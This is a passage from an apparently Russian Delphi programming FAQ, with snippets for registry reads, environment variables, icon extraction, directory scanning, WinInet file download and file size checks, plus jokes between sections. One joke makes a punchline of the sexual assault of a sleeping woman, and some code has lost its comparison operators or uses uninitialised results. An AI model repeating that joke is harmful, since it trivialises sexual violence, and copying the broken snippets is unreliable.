HostEnt:= gethostbyaddr(@SockAddrIn.sin_addr.S_addr, 4, AF_INET);
if HostEnt <> nil then
result := StrPas(Hostent^.h_name)
else
result:='';
end;
//Пример использования
procedure TForm1.Button1Click(Sender: TObject);
begin
Label1.Caption := IPAddrToName(Edit1.Text);
end;
|
Как узнать имя домена Windows NT или 2000.
Автор: http://www.sources.ru
function GetNTDomainName: string;
var
hReg: TRegistry;
begin
hReg := TRegistry.Create;
hReg.RootKey := HKEY_LOCAL_MACHINE;
hReg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', false);
Result := hReg.ReadString('DefaultDomainName');
hReg.CloseKey;
hReg.Destroy;
end;
Получить информацию о перечисляемых типах.
Автор: Xavier Pacheco
unit MainFrm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TMainForm = class(TForm)
lbSamps: TListBox;
memInfo: TMemo;
procedure FormCreate(Sender: TObject);
procedure lbSampsClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
MainForm: TMainForm;
implementation
uses TypInfo, Buttons;
{$R *.DFM}
procedure TMainForm.FormCreate(Sender: TObject);
begin
// Add some example enumerated types
with lbSamps.Items do
begin
AddObject('TButtonState', TypeInfo(TButtonState));
AddObject('TFormStyle', TypeInfo(TFormStyle));
AddObject('Boolean', TypeInfo(Boolean));
end;
end;
procedure TMainForm.lbSampsClick(Sender: TObject);
var
OrdTypeInfo: PTypeInfo;
OrdTypeData: PTypeData;
TypeNameStr: string;
TypeKindStr: string;
MinVal, MaxVal: Integer;
i: integer;
begin
memInfo.Lines.Clear;
with lbSamps do
begin
// Get the TTypeInfo pointer
OrdTypeInfo := PTypeInfo(Items.Objects[ItemIndex]);
// Get the TTypeData pointer
OrdTypeData := GetTypeData(OrdTypeInfo);
// Get the type name string
TypeNameStr := OrdTypeInfo.Name;
// Get the type kind string
TypeKindStr := GetEnumName(TypeInfo(TTypeKind), Integer(OrdTypeInfo^.Kind));
// Get the minimum and maximum values for the type
MinVal := OrdTypeData^.MinValue;
MaxVal := OrdTypeData^.MaxValue;
// Add the information to the memo
with memInfo.Lines do
begin
Add('Type Name: ' + TypeNameStr);
Add('Type Kind: ' + TypeKindStr);
Add('Min Val: ' + IntToStr(MinVal));
Add('Max Val: ' + IntToStr(MaxVal));
// Show the values and names of the enumerated types
if OrdTypeInfo^.Kind = tkEnumeration then
for i := MinVal to MaxVal do
Add(Format(' Value: %d Name: %s', [i, GetEnumName(OrdTypeInfo,
i)]));
end;
end;
end;
end.
Как получить переменные окружения типа PATH и PROMPT.
| Хакер идет по улице, в руках держит BFG 9000. Навстречу ему братки крутые: - Ты где такую феню взял, в натуре?! А он лениво так: - Да из Дума, Дебаггером дернул... |
Для этого используется API функция GetEnvironmentVariable.
GetEnvironmentVariable возвращает значения:
В случае удачного выполнения функции, возвращаемое значение содержит количество символов, хранящихся в буфере, не включая последнего нулевого. Если указанная переменная окружения для текущего процесса не найдена, то возвращаемое значение равно нулю. Если буфер не достаточного размера, то возвращаемое значение равно требуемому размеру для хранения строки значения и завершающего нулевого символа.
function GetDOSEnvVar(const VarName: string): string;
var
i: integer;
begin
Result := '';
try
i := GetEnvironmentVariable(PChar(VarName), nil, 0);
if i > 0 then
begin
SetLength(Result, i);
GetEnvironmentVariable(Pchar(VarName), PChar(Result), i);
end;
except
Result := '';
end;
end;
|
Как получить переменные окружения типа PATH и PROMPT 2.
procedure TMainFrm.AddVarsToMemo(Sender: TObject);
var
p: pChar;
begin
Memo1.Lines.Clear;
Memo1.WordWrap := false;
p := GetEnvironmentStrings;
while p^ <> #0 do
begin
Memo1.Lines.Add(StrPas(p));
inc(p, lStrLen(p) + 1);
end;
FreeEnvironmentStrings(p);
end;
|
Как получить строку сообщения об ошибке Windows код которой получен функцией GetLastError.
| Звонок на радио: - Поставьте, пожалуйста, песню Пугачевой про то, как у нее завис Windows! Ди-джей (после паузы): - Я не могу вспомнить у Пугачевой такой песни! Можете напеть? - ну, там еще в припеве: "Кликну, а в ответ тишина, снова я осталась одна... Сильная женщина плачет у Окна..." |
procedure TForm1.Button1Click(Sender: TObject); begin ShowMessage(IntToStr(lStrLen(nil))); ShowMessage(SysErrorMessage(GetLastError)); end; |
Извлечь основную иконку EXE-файла.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.Button1Click(Sender: TObject);
var
Icon: TIcon;
FileInfo: SHFILEINFO;
begin
Icon := TIcon.Create;
try
// Get the Icon
SHGetFileInfo(PChar('Filename.exe'), 0, FileInfo, SizeOf(FileInfo), SHGFI_ICON);
icon.Handle := FileInfo.hIcon;
DestroyIcon(FileInfo.hIcon);
// Save the Icon to a file:
icon.SaveToFile('IconFromExe.ico');
// Set the Icon as Application Icon (temporary)
Application.Icon := icon;
finally
Icon.Free;
end;
end;
Получение иконки для зарегистрированного расширения по его имени.
Автор: Poirot WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение иконки для зарегистрированного расширения по его имени
Функции в качестве параметра передаётся имя файла и в случае удачного выполнения
она (функция) возвращает hаndlе'р иконки (HICON). В случае, если в реестре небыло
найдено расширения предложеного файла, функция возвращает 0.
Также при успешном выполнении необходимо освободить хендлер. Для этого используется
функция DestroyIcon(Handle:HICON).
Зависимости: модуль Registry, модуль ShellAPI, модуль SysUtils и стандартные
функции Pos, Delete, Copy, ExtractFileExt, ExtractIcon, StrToInt.
Автор: Poirot, poirot@rol.ru, Нижний Новгород
Copyright: Poirot (частично из Delphi 5. Руководство разработчика)
Дата: 16 июня 2002 г.
***************************************************** }
function GetRegistryIconHandle(FileName: string): HICON;
var
R: TRegistry;
Alias, //псевдвним для расширения в реестре
IconPath: string; //путь для файла с иконкой
IconNum, //номер иконки в файле
QPos: Integer; //позиция запятой в записи реестра
begin
IconNum := 0;
R := TRegistry.Create;
try
R.RootKey := HKEY_CLASSES_ROOT;
//чтение псевданима
if R.OpenKey('\' + ExtractFileExt(FileName), True) then
Alias := R.ReadString('');
R.CloseKey;
//чтение записи об иконке
if R.OpenKey('\' + Alias + '\DefaultIcon', True) then
IconPath := R.ReadString('');
R.CloseKey;
//поиск запятой
QPos := Pos(',', IconPath);
//чтение номера иконки в файле если она имеется
if QPos <> 0 then
begin
IconNum := StrToInt(Copy(IconPath, QPos + 1, 4));
IconPath := Copy(IconPath, 1, QPos - 1)
end;
finally
R.Free;
end;
//передача хендлера иконки как рещультат выполнения
Result := ExtractIcon(hInstance, PChar(IconPath), IconNum);
end;
Пример использования:
GetRegistryIconHandle('c:\winnt\win.ini');
Получение значений полей из текстового файла.
var
F: TextFile;
S: string;
begin
AssignFile(F, 'FILENAME.TXT');
Reset(F);
while not EOF(F) do
begin
Readln(F, S);
V1 := Copy(S, 1, 3);
V2 := Copy(S, 4, 6);
...
end;
CloseFile(F);
end;
|
Как получить список файлов и поддиректорий в указанной директории.
Автор: Андрей Сорокин
WEB-сайт: http://anso.da.ru
Для использования этого объекта необходима библиотека TRegExpr
{$B-}
unit DirScan;
interface
uses
RegExpr, SysUtils, Classes;
type
PDirectoryScannerItem = ^TDirectoryScannerItem;
TDirectoryScannerItem = packed record
name : string;
Size : integer;
LastWriteTime : TDateTime;
end;
TOnDirScanFileProceed = procedure (Sender : TObject; const ABaseFolder : string;
const ASearchRecord : TSearchRec; var ACancel : boolean) of object;
TOnDirScanStartFolderScanning = procedure (Sender : TObject; const AFolder : string) of object;
TOnDirScanTimeSlice = procedure (Sender : TObject; var ACancel : boolean) of object;
TCustomDirectoryScanner = class
private
fRegExprMask : string;
fRecursive : boolean;
fCount : integer;
fOnFileProceed : TOnDirScanFileProceed;
fOnStartFolderScanning : TOnDirScanStartFolderScanning;
fOnTimeSlice : TOnDirScanTimeSlice;
fMaskRegExpr : TRegExpr;
function BuildFileListInt (const AFolder : string) : boolean;
public
constructor Create;
destructor Destroy; override;
property Recursive : boolean read fRecursive write fRecursive;
property RegExprMask : string read fRegExprMask write fRegExprMask;
// regular expresion for file names masks (like '(\.html?|\.xml)' etc)
function BuildFileList (AFolder : string) : boolean;
// Build list of all files in folder AFolder.
// If ASubFolder = true then recursivly scans subfolders.
// Returns false if there was file error and user
// decided to terminate process.
property Count : integer read fCount;
// matched in last BuildFileList files count
// Events
property OnFileProceed : TOnDirScanFileProceed read fOnFileProceed write fOnFileProceed;
// for each file matched
property OnStartFolderScanning : TOnDirScanStartFolderScanning read fOnStartFolderScanning
write fOnStartFolderScanning;
// before scanning each directory (starting with root)
property OnTimeSlice : TOnDirScanTimeSlice read fOnTimeSlice write fOnTimeSlice;
// for progress bur an so on (called in each internal iteration)
end;
TDirectoryScanner = class (TCustomDirectoryScanner)
// simple descendant - after BuildFileList call make list of files
// (You can access list thru Item property)
private
fList : TList;
function GetItem (AIdx : integer) : PDirectoryScannerItem;
procedure KillItem (AIdx : integer);
procedure FileProceeding (Sender : TObject; const ABaseFolder : string;
const ASearchRecord : TSearchRec; var ACancel : boolean);
procedure TimeSlice (Sender : TObject; var ACancel : boolean);
public
constructor Create;
destructor Destroy; override;
property Item [AIdx : integer] : PDirectoryScannerItem read GetItem;
end;
implementation
uses
Windows, Controls, TFUS;
constructor TCustomDirectoryScanner.Create;
begin
inherited;
fRecursive := true;
fOnFileProceed := nil;
fOnStartFolderScanning := nil;
fOnTimeSlice := nil;
fMaskRegExpr := nil;
fRegExprMask := '';
end; { of constructor TDirectoryScanner.Create}
destructor TCustomDirectoryScanner.Destroy;
begin
fMaskRegExpr.Free;
inherited;
end; { of destructor TCustomDirectoryScanner.Destroy}
function TCustomDirectoryScanner.BuildFileList (AFolder : string) : boolean;
begin
if (length (AFolder) > 0) and (AFolder [length (AFolder)] = '\')
then AFolder := copy (AFolder, 1, length (AFolder) - 1);
fMaskRegExpr := TRegExpr.Create;
fMaskRegExpr.Expression := RegExprMask;
fCount := 0;
Result := BuildFileListInt (AFolder);
end; { function BuildFileList}
function TCustomDirectoryScanner.BuildFileListInt (const AFolder : string) : boolean;
var
sr : SysUtils.TSearchRec;
Canceled : boolean;
begin
Result := true;
if Assigned (OnStartFolderScanning)
then OnStartFolderScanning (Self, AFolder + '\');
if SysUtils.FindFirst (AFolder + '\' + '*.*', faAnyFile, sr) = 0 then try
repeat
try
if (sr.Attr and SysUtils.faDirectory) = SysUtils.faDirectory then begin
if Recursive and (sr.name <> '.') and (sr.name <> '..')
then Result := BuildFileListInt (AFolder + '\' + sr.name);
end
else begin
if fMaskRegExpr.Exec (sr.name) then begin
Canceled := false;
if Assigned (OnFileProceed)
then OnFileProceed (Self, AFolder, sr, Canceled);
if Canceled
then Result := false;
inc (fCount);
end;
end;
except on E:Exception do begin
case MsgBox ('Replacing error',
'Can''t replace file contetn due to error:'#$d#$a#$d#$a
+ E.message + #$d#$a#$d#$a + 'Continue processing ?',
mb_YesNo or mb_IconQuestion) of
mrYes : Result := false;
>else ; // must be No
end;
end;
end;
Canceled := false;
if Assigned (OnTimeSlice)
then OnTimeSlice (Self, Canceled);
if Canceled
then Result := false;
until not Result or (SysUtils.FindNext (sr) <> 0);
finally SysUtils.FindClose (sr);
end;
if not Result
then EXIT;
end; { function BuildFileListInt}
constructor TDirectoryScanner.Create;
begin
inherited;
fList := TList.Create;
OnFileProceed := FileProceeding;
fOnTimeSlice := TimeSlice;
end; { of constructor TDirectoryScanner.Create}
destructor TDirectoryScanner.Destroy;
var
i : integer;
begin
for i := fList.Count - 1 downto 0 do
KillItem (i);
fList.Free;
inherited;
end; { of destructor TDirectoryScanner.Destroy}
procedure TDirectoryScanner.KillItem (AIdx : integer);
var
p : PDirectoryScannerItem;
begin
p := PDirectoryScannerItem (fList.Items [AIdx]);
Dispose (p);
fList.Delete (AIdx);
end; { of procedure TDirectoryScanner.KillItem}
function TDirectoryScanner.GetItem (AIdx : integer) : PDirectoryScannerItem;
begin
Result := PDirectoryScannerItem (fList.Items [AIdx]);
end; { of function TDirectoryScanner.GetItem}
procedure TDirectoryScanner.FileProceeding (Sender : TObject; const ABaseFolder : string;
const ASearchRecord : TSearchRec; var ACancel : boolean);
var
p : PDirectoryScannerItem;
begin
p := New (PDirectoryScannerItem);
p.name := ABaseFolder + '\' + ASearchRecord.name;
fList.Add (p);
end; { of procedure TDirectoryScanner.FileProceeding}
procedure TDirectoryScanner.TimeSlice (Sender : TObject; var ACancel : boolean);
begin
if Count mod 100 = 0
then Sleep (0);
end; { of procedure TDirectoryScanner.TimeSlice}
end.
|
Получение системной иконки, ассоциированной с файлом в данной системе.
Автор: Дмитрий Баранов WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение системной иконки, ассоциированной с файлом в данной системе
Функция позволяет получить такую же иконку любой директории или любого файла,
какую вы видите в "проводнике". Размеры - 16 * 16 (по умолчанию) или 32 * 32
(второй параметр - itLarge)
Зависимости: Юниты VCL + ComObj, ActiveX, ShellApi, ShlObj;
Автор: Дмитрий Баранов, kda@pisem.net, Москва
Copyright: Взято из MSDN
Дата: 20 мая 2002 г.
***************************************************** }
type
TIconType = (itSmall, itLarge);
function GetIcon(const FileName: string; const IconType: TIconType = itSmall):
TIcon;
var
FileInfo: TShFileInfo;
ImageList: TImageList;
IT: DWORD;
begin
// CoInitialize; лучше - поместите вызов этой ф. в раздел initialization
IT := SHGFI_SMALLICON;
Result := TIcon.Create;
ImageList := TImageList.Create(nil);
if (IconType = itLarge) then
begin
IT := SHGFI_LARGEICON;
ImageList.Height := 32;
ImageList.Width := 32;
end;
FillChar(FileInfo, Sizeof(FileInfo), #0);
ImageList.ShareImages := true;
ImageList.Handle := SHGetFileInfo(
PChar(FileName),
SFGAO_SHARE,
FileInfo,
sizeof(FileInfo),
IT or SHGFI_SYSICONINDEX
);
ImageList.GetIcon(FileInfo.iIcon, Result);
ImageList.Free;
{ Не забывайте освободить полученную иконку }
end;
Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
var
Icon: TIcon;
begin
Self.Icon := GetIcon('C:\');
end;
Получение файла из сети.
| Девушка под самый конец рабочего дня решила полчаса початиться. Открыла пиво... пьёт, по аське прикалывается, да и засиделась допоздна. Придётся до утра ждать (контору заперли). Так и сидела всю ночь, пивко попивала... Ближе к утру оставили её силы и она решила выключить комп и вздремнуть часок. Потянулась под стол за кнопкой Power, да и заснула в позе "речного омара". С утра один из сотрудников пришел немного раньше, чем обычно и застал девушку в той же позе. "Опа!" - подумал он, задрал ей юбку и пристроился. Девушка (сквозь сон): - Ох! Не юзайте меня, я в оффлайне. |
Обычно при разработке приложений, которые планируется в дальнейшем обновлять и усовершенствовать, основные модули хранятся в виде пакетов (Package) или библиотек DLL. В настоящее время Internet предоставляет возможность без особых усилий осуществлять обновление этих модулей. Поэтому добавление к Вашему приложению функции авто-обновления, является наилучшим способом для обновления приложения.
Давайте посмотрим, как реализовывается данный механизм в любом FTP приложении.
Delphi предоставляет нам полный доступ к WinInet API (wininet.pas), который можно использовать для соединения и получения файлов с веб-сайта, который использует либо Hypertext Transfer Protocol (HTTP) либо File Transfer Protocol (FTP). Например, мы можем использовать функции из WinInet API для: добавления FTP браузера в любое приложение, создания приложения, которое автоматически скачивает файлы с общедоступных FTP серверов или поиска Internet сайтов, ссылающихся на графику и скачивать только графику.
Функция GetInetFile
uses Wininet;
function GetInetFile(const fileURL, FileName: string): boolean;
const
BufferSize = 1024;
var
hSession, hURL: HInternet;
Buffer: array[1..BufferSize] of Byte;
BufferLen: DWORD;
f: file;
sAppName: string;
begin
Result:=False;
sAppName := ExtractFileName(Application.ExeName);
hSession := InternetOpen(PChar(sAppName),
INTERNET_OPEN_TYPE_PRECONFIG,
nil, nil, 0);
try
hURL := InternetOpenURL(hSession,
PChar(fileURL),
nil,0,0,0);
try
AssignFile(f, FileName);
Rewrite(f,1);
repeat
InternetReadFile(hURL, @Buffer,
SizeOf(Buffer), BufferLen);
BlockWrite(f, Buffer, BufferLen)
until
BufferLen = 0;
CloseFile(f);
Result:=True;
finally
InternetCloseHandle(hURL)
end;
finally
InternetCloseHandle(hSession)
end;
end;
|
var
FileOnNet, LocalFileName: string;
begin
FileOnNet := 'http://its_your_sire.ru/library/forminbpl.zip';
LocalFileName := 'File Downloaded From the Net.zip';
if GetInetFile(FileOnNet, LocalFileName) = true then
ShowMessage('Download successful')
else
ShowMessage('Error in file download');
end;
|
Данный код запрашивает файл 'forminbpl.zip' с сайта, скачивает его, и сохраняет его как 'File Downloaded From the Net.zip'.
Обратите внимание: В зависимости от версии Delphi, Вы можете использовать различные компоненты, которые можно найти на Интернет страницах, посвещённых VCL и, которые можно использовать для упрощения создания приложений (например FTP компонент, необходимый для TNMFTP, находящийся на странице FastNet VCL).
Загрузить файл по HTTP.
| Контора. Стол. На столе компьютер. Перед столом - стул. На стуле висит пиджак. Подходят двое. - А где Вася? - Да, с утра пошел в Intегnеt - до сих пор нет. |
Обычно при разработке приложений, которые планируется в дальнейшем обновлять и усовершенствовать, основные модули хранятся в виде пакетов (Package) или библиотек DLL. В настоящее время Internet предоставляет возможность без особых усилий осуществлять обновление этих модулей. Поэтому добавление к Вашему приложению функции авто-обновления, является наилучшим способом для обновления приложения.
Давайте посмотрим, как реализовывается данный механизм в любом FTP приложении.
Delphi предоставляет нам полный доступ к WinInet API (wininet.pas), который можно использовать для соединения и получения файлов с веб-сайта, который использует либо Hypertext Transfer Protocol (HTTP) либо File Transfer Protocol (FTP). Например, мы можем использовать функции из WinInet API для: добавления FTP браузера в любое приложение, создания приложения, которое автоматически скачивает файлы с общедоступных FTP серверов или поиска Internet сайтов, ссылающихся на графику и скачивать только графику.
Функция GetInetFile
uses Wininet;
function GetInetFile(const fileURL, FileName: string): boolean;
const
BufferSize = 1024;
var
hSession, hURL: HInternet;
Buffer: array[1..BufferSize] of Byte;
BufferLen: DWORD;
f: file;
sAppName: string;
begin
Result := False;
sAppName := ExtractFileName(Application.ExeName);
hSession := InternetOpen(PChar(sAppName),
INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
try
hURL := InternetOpenURL(hSession, PChar(fileURL), nil, 0, 0, 0);
try
AssignFile(f, FileName);
Rewrite(f,1);
repeat
InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen);
BlockWrite(f, Buffer, BufferLen);
until
BufferLen = 0;
CloseFile(f);
Result := True;
finally
InternetCloseHandle(hURL);
end;
finally
InternetCloseHandle(hSession);
end;
end;
|
Обратите внимание: Чтобы обеспечить некоторую визуальную обратную связь для пользователя, Вы можете добавить строчку наподобие FlashWindow(Application.Handle,True) в тело блока "повторить/до тех пор" (repeat/until). Вызов FlashWindow API высвечивает заголовок Вашего имени приложений в панели задач.
Использование
Для вызова функции GetInetFile можно использовать следующий код:
var
FileOnNet, LocalFileName: string
begin
FileOnNet := 'http://its_your_site.ru/library/DelphiWorld.zip';
LocalFileName := 'C:\DelphiWorld.zip';
if GetInetFile(FileOnNet, LocalFileName) = True then
ShowMessage('Download successful')
else
ShowMessage('Error in file download');
end;
|
Данный код запрашивает файл 'http://its_your_site.ru/library/DelphiWorld.zip' с сайта, скачивает его, и сохраняет его как 'C:\DelphiWorld.zip'.
Обратите внимание: В зависимости от версии Delphi, Вы можете использовать различные компоненты, которые можно найти на Интернет страницах, посвещённых VCL и, которые можно использовать для упрощения создания приложений (например FTP компонент, необходимый для TNMFTP, находящийся на странице FastNet VCL).
Получить иконку файла по ярлыку.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Comment:
The procedure GetAssociatedIcon, trys via Registry to get the
icon(should work for small and big icons) that is associated with
the files shown in the explorer.
This is not my work. But I want to distribute it to you, because
it was really hard to find a corresonding document.
Thanks SuperTrax.
}
{
Kommentar:
Die Prozedure GetAssociatedIcon versucht uber die Registrierung
das Icon der Datei, wie im Explorer angezeigt, herauszubekommen.
(Sollte fur grosse und kleine funktionieren)
Dies ist nicht mein Werk. Ich mochte es nur fur andere zuganglich
machen, weil ich sehr lange gebraucht habe, um ein entsprechendes
Dokument zu finden.
}
unit AIconos;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, FileCtrl;
type
TForm1 = class(TForm)
Button1: TButton;
Image1: TImage;
Image2: TImage;
OpenDialog1: TOpenDialog;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
type
PHICON = ^HICON;
var
Form1: TForm1;
PLargeIcon, PSmallIcon: phicon;
implementation
uses shellapi, registry;
{$R *.DFM}
procedure GetAssociatedIcon(FileName: TFilename; PLargeIcon, PSmallIcon: PHICON);
var
IconIndex: SmallInt; // Position of the icon in the file
Icono: PHICON; // The LargeIcon parameter of ExtractIconEx
FileExt, FileType: string;
Reg: TRegistry;
p: Integer;
p1, p2: PChar;
buffer: array [0..255] of Char;
Label
noassoc, NoSHELL; // ugly! but I use it, to not modify to much the original code :(
begin
IconIndex := 0;
Icono := nil;
// ;Get the extension of the file
FileExt := UpperCase(ExtractFileExt(FileName));
if ((FileExt '.EXE') and (FileExt '.ICO')) or not FileExists(FileName) then
begin
// If the file is an EXE or ICO and exists, then we can
// extract the icon from that file. Otherwise here we try
// to find the icon in the Windows Registry.
Reg := nil;
try
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CLASSES_ROOT;
if FileExt = '.EXE' then FileExt := '.COM';
if Reg.OpenKeyReadOnly(FileExt) then
try
FileType := Reg.ReadString('');
finally
Reg.CloseKey;
end;
if (FileType <> '') and Reg.OpenKeyReadOnly(FileType + '\DefaultIcon') then
try
FileName := Reg.ReadString('');
finally
Reg.CloseKey;
end;
finally
Reg.Free;
end;
// If there is not association then lets try to
// get the default icon
if FileName = '' then goto noassoc;
// Get file name and icon index from the association
// ('"File\Name",IconIndex')
p1 := PChar(FileName);
p2 := StrRScan(p1, ',');
if p2 nil then
begin
p := p2 - p1 + 1; // Position de la coma
IconIndex := StrToInt(Copy(FileName, p + 1, Length(FileName) - p));
SetLength(FileName, p - 1);
end;
end; //if ((FileExt '.EX ...
// Try to extract the small icon
if ExtractIconEx(PChar(FileName), IconIndex, Icono^, PSmallIcon^, 1) <> 1 then
begin
noassoc:
// That code is executed only if the ExtractIconEx return a value but 1
// There is not associated icon
// try to get the default icon from SHELL32.DLL
FileName := 'C:\Windows\System\SHELL32.DLL';
if not FileExists(FileName) then
begin //If SHELL32.DLL is not in Windows\System then
GetWindowsDirectory(buffer, SizeOf(buffer));
//Search in the current directory and in the windows directory
FileName := FileSearch('SHELL32.DLL', GetCurrentDir + ';' + buffer);
if FileName = '' then
goto NoSHELL; //the file SHELL32.DLL is not in the system
end;
// Determine the default icon for the file extension
if (FileExt = '.DOC') then IconIndex := 1
else if (FileExt = '.EXE') or (FileExt = '.COM') then IconIndex := 2
else if (FileExt = '.HLP') then IconIndex := 23
else if (FileExt = '.INI') or (FileExt = '.INF') then IconIndex := 63
else if (FileExt = '.TXT') then IconIndex := 64
else if (FileExt = '.BAT') then IconIndex := 65
else if (FileExt = '.DLL') or (FileExt = '.SYS') or (FileExt = '.VBX') or
(FileExt = '.OCX') or (FileExt = '.VXD') then IconIndex := 66
else if (FileExt = '.FON') then IconIndex := 67
else if (FileExt = '.TTF') then IconIndex := 68
else if (FileExt = '.FOT') then IconIndex := 69
else
IconIndex := 0;
// Try to extract the small icon
if ExtractIconEx(PChar(FileName), IconIndex, Icono^, PSmallIcon^, 1) <> 1 then
begin
//That code is executed only if the ExtractIconEx return a value but 1
// Fallo encontrar el icono. Solo "regresar" ceros.
NoSHELL:
if PLargeIcon nil then PLargeIcon^ := 0;
if PSmallIcon nil then PSmallIcon^ := 0;
end;
end; //if ExtractIconEx
if PSmallIcon^ 0 then
begin //If there is an small icon then extract the large icon.
PLargeIcon^ := ExtractIcon(Application.Handle, PChar(FileName), IconIndex);
if PLargeIcon^ = Null then
PLargeIcon^ := 0;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
SmallIcon, LargeIcon: HIcon;
Icon: TIcon;
begin
if not (OpenDialog1.Execute) then
Exit;
Icon := TIcon.Create;
try
GetAssociatedIcon(OpenDialog1.FileName, @LargeIcon, @SmallIcon);
if LargeIcon <> 0 then
begin
Icon.Handle := LargeIcon;
Image2.Picture.icon := Icon;
end;
if SmallIcon <> 0 then
begin
Icon.Handle := SmallIcon;
Image1.Picture.icon := Icon;
end;
finally
Icon.Destroy;
end;
end;
end.
Получаем имена файлов, скопированных в буфер обмена.
procedure TForm1.Button1Click(Sender: TObject);
var
f: THandle;
buffer: array [0..MAX_PATH] of Char;
i, numFiles: Integer;
begin
if not Clipboard.HasFormat(CF_HDROP) then Exit;
Clipboard.Open;
try
f := Clipboard.GetAsHandle(CF_HDROP);
if f <> 0 then
begin
numFiles := DragQueryFile(f, $FFFFFFFF, nil, 0);
memo1.Clear;
for i := 0 to numfiles - 1 do
begin
buffer[0] := #0;
DragQueryFile(f, i, buffer, SizeOf(buffer));
memo1.Lines.Add(buffer);
end;
end;
finally
Clipboard.Close;
end;
end;
|
Как прочитать владельца файла.
Автор: http://www.swissdelphicenter.ch
// When you create a file or directory, you become the owner of it.
// With GetFileOwner you get the owner of a file.
function GetFileOwner(FileName: string;
var Domain, Username: string): Boolean;
var
SecDescr: PSecurityDescriptor;
SizeNeeded, SizeNeeded2: DWORD;
OwnerSID: PSID;
OwnerDefault: BOOL;
OwnerName, DomainName: PChar;
OwnerType: SID_NAME_USE;
begin
GetFileOwner := False;
GetMem(SecDescr, 1024);
GetMem(OwnerSID, SizeOf(PSID));
GetMem(OwnerName, 1024);
GetMem(DomainName, 1024);
try
if not GetFileSecurity(PChar(FileName),
OWNER_SECURITY_INFORMATION,
SecDescr, 1024, SizeNeeded) then
Exit;
if not GetSecurityDescriptorOwner(SecDescr,
OwnerSID, OwnerDefault) then
Exit;
SizeNeeded := 1024;
SizeNeeded2 := 1024;
if not LookupAccountSID(nil, OwnerSID, OwnerName,
SizeNeeded, DomainName, SizeNeeded2, OwnerType) then
Exit;
Domain := DomainName;
Username := OwnerName;
finally
FreeMem(SecDescr);
FreeMem(OwnerName);
FreeMem(DomainName);
end;
GetFileOwner := True;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
Domain, Username: string;
begin
GetFileOwner('YourFile.xyz', domain, username);
ShowMessage(username + '@' + domain);
end;
// Note: Only works unter NT.
Получение размера файла.
Автор: Eric NielsenВот мой код, которым я пользуюсь для определения информации о группе файлов:
var
Fhnd2: file;
sPath: string;
tpath: string;
SearchRec: TSearchRec;
tempsearch: string;
tempfiles: Integer;
tempbytes: LongInt;
wBytes: Word;
sTemp: string;
iLen: Integer;
szString: array[0..128] of Char;
ec: integer;
begin
{* Выбираем системный каталог *}
MailManLogS('Запуск MailMan');
sTemp := ParamStr(0);
iLen := Length(sTemp);
while sTemp[iLen] <> '\' do
DEC(iLen);
StrPCopy(szString, sTemp);
szString[iLen] := #0;
SysDir := StrPas(szString);
tempbytes := 0;
tempfiles := 0;
Files2bProc := 0;
Bytes2bProc := 0;
MailManLogS('Калькулируем файлы для обработки');
{* Подсчитываем, сколько файлов и байт должны быть обработаны *}
tempsearch := SysDir + 'spool\witchcrf\d\*.*';
ec := FindFirst(tempsearch, faSysFile, SearchRec);
while ec = 0 do
begin
if ((SearchRec.Name <> '.') and (SearchRec.Name <> '..')) then
begin
tempfiles := tempfiles + 1;
- - - - > tempbytes := tempbytes + SearchRec.Size;
< - - - - - -
TotalInBytes.Text := IntToStr(tempbytes);
TotalInFiles.Text := IntToStr(tempfiles);
MailManLogS('Файл-' + SearchRec.Name + ' Размер-' +
IntToStr(SearchRec.Size));
end;
ec := FindNext(SearchRec);
end;
MailManLogS('Всего файлов = ' + IntToStr(tempfiles) + ' Байт = ' +
IntToStr(tempbytes));
end;
|
Я все это делал с использованием FindFirst. Функция возвращает запись, имеющую тип TSearchRec. Данная запись содержит переменную Size, которая содержит размер файла в байтах. Это может быть не так красиво, но это работает:
function GetFileSize(FileName: string): Longint;
var
SearchRec: TSearchRec;
begin
if FindFirst(FileName, faAnyFile, SearchRec) = 0 then
Result:=SearchRec.Size
else
Result:=-1; {возвращаем ошибку, это может быть число меньше нуля}
end;
|
В зависимости от предпочтений, можно выбрать одну из двух приведенных ниже функций. В первой реализуется идея временного изменения атрибутов файла, необходимого для его чтения. Вторая использует Windows API, но не содержит средств проверки наличия ошибок.
function FileGetSize1(Filename: string): LongInt;
var
F: file;
OldFileAttr: Integer;
begin
if FileExists(Filename) then
begin
OldFileAttr := FileGetAttr(Filename);
FileSetAttr(Filename, OldFileAttr and (faReadOnly xor $FFFF));
try
AssignFile(F, Filename);
Reset(F, 1);
Result := FileSize(F);
CloseFile(F);
finally
FileSetAttr(Filename, OldFileAttr);
end;
end
else
Result := 0;
end;
function FileGetSize2(Filename: string): LongInt;
var
FileHandle: Integer;
begin
if FileExists(Filename) then
begin
FileName := FileName + chr(0);
FileHandle := _lopen(@FileName[1], 0);
Result := _llseek(FileHandle, 0, 2);
_lclose(FileHandle);
end
else
Result := 0;
end;
|
Я не стал возиться с AssignFile.
Function FileSizeInBytes(YourFile : String) : LongInt;
Var
F: Integer;
Begin
F:=FileOpen(YourFile,0); { режим ReadOnly }
FilesizeInBytes := FileSeek(F,0,2);
FileClose(F)
End;
|
Примечание: Проверка ошибок отсутствует !!!
Как определить размер файла.
// Если файл не существует, то вместо размера файла функция верн¸т -1
function GetFileSize(FileName: String): Integer;
var
FS: TFileStream;
begin
try
FS := TFileStream.Create(Filename, fmOpenRead);
except
Result := -1;
end;
if Result <> -1 then Result := FS.Size;
FS.Free;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
